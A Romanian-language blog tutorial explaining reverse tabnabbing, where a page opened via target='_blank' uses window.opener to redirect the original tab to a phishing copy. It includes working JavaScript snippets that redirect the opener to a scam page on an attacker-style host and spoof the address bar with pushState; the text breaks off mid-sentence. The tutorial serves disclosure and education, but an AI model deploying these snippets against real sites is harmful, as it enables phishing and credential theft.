Sper s? nu gre?esc dac? voi spune, c? ?tim cu to?ii ce e un link ?i la ce folose?te atributul target pentru tag-ul <a>. ?i dat fiind faptul c? majoritatea consider? inofensiv? folosirea acestei tehnici atât de populare, în acest tutorial voi încerca s? demonstrez contrariul. Pentru început vreau s? men?ionez c? ceea ce va fi descris aici, personal o consider a fiind o vulnerabilitate pentru toate browserele cu excep?ia... ta-da! — Internet Explorer. Iat? de ce în continuare voi folosi cuvântul „vulnerabilitate” atunci când m? voi referi la acest „fenomen”. De asemenea, v? rog s? atrage?i aten?ia c? aceast? vulnerabilitate v-a func?iona perfect doar dac? se va ap?sa click de stânga pe link, ?i nu click de dreapta ? „Deschide în fil? nou?”. ?i, nu în ultimul rând, a?a cum toat? lumea recomand? s? fie folosit target="_blank" pentru toate link-urile externe (doar nu dorim ca utilizatorul s? p?r?seasc? pagina noastr?), trebuie s? constat c? aceast? vulnerabilitate afecteaz? majoritatea site-urilor care fac referire la pagini externe. Teorie Dac? avem pagina curent? „A” ?i facem referire la pagina „B” folosind atributul target="_blank", atunci când se va deschide pagina „B” pentru aceasta va fi creat un obiect window.opener cu ajutorului c?ruia putem redirec?iona pagina „A” c?tre o nou? pagin? în timp ce utilizatorul acceseaz? pagina „B”. ?i cel mai important, paginile „A” ?i „B” pot fi pe domenii diferite. Practic? Pentru a în?elege mai bine despre ce merge vorba, v? recomand urm?torul exemplu: ap?sa?i click aici, a?tepta?i s? se încarce pagina, dup? care reveni?i înapoi. Dac? apare eroarea „window.opener is null” atunci: Ai deschis link-ul altfel decât folosind click de stânga; Browserul t?u nu e vulnerabil; Magie neagr?? Pentru un exemplu mai complex, v? rog s? accesa?i aceast? pagin? unde am folosit aceast? vulnerabilitate pentru a simula un atac de tip phishing asupra unui site ce ofer? servicii de email. Ca ?i pentru oricare site asem?n?tor (Gmail, Hotmail ?.a.) fiecare link primit într-un mesaj are atributul target="_blank". Explica?ii Pentru a exploata vulnerabilitatea, trimitem un mesaj ce con?ine adresa URL c?tre pagina „capcan?”, unde pentru a fi siguri c? utilizatorul a deschis link-ul, folosind click de stânga ?i nu alt? metod?, verific?m dac? exist? obiectul window.opener ?i nu este NULL. Dup? care, putem redirec?iona pagina de unde a venit utilizatorul. Codul arat? cam a?a: if (window.opener) { window.opener.location.replace('full-url-to-scam-page'); } Dup? cum pute?i observa, totul e atât de simplu, atât de banal, atât de periculos... Dac? pagina de phishing ?i cea legitim? arat? ca 2 pic?turi de ap?, iar numele domeniului nu d? de b?nuit, când utilizatorul va reveni la pagina ini?ial? cu siguran??, nu va observa modificarea. Pentru a da mai pu?in de b?nuit, poate fi modificat? adresa URL pentru pagina de phishing în felul urm?tor: De pe pagina funny.php e nevoie s? trimitem adresa URL (referrer) de unde a venit utilizatorul. Eu am f?cut a?a: var referrer = encodeURIComponent(document.referrer); window.opener.location = 'http://black.securrity.com/t_blank/scam.php#' + referrer; Apoi, pe pagina scam.php am folosit urm?torul cod: // Extragem leg?tura adresei URL ?i elimin?m numele domeniului var fakeurl = decodeURIComponent(window.location.hash).replace('#http://white.securrity.com', ''); // Modific?m adresa URL f?r? a înc?rca con?inutul acelei pagini window.history.pushState(false, false, fake_url); În loc de concluzii Sincer, nu în?eleg, ce a fost în capul dezvoltatorilor ca s? permit? executarea func?iei location.replace() sau modificarea obiectului location dintre dou? domenii diferite? Dac? era de pe acela?i domeniu, în?elegeam... ?i chiar e foarte straniu, c?ci celelalte func?ii ?i atribute ale obiectului window.opener nu pot nici m?car citite, deoarece: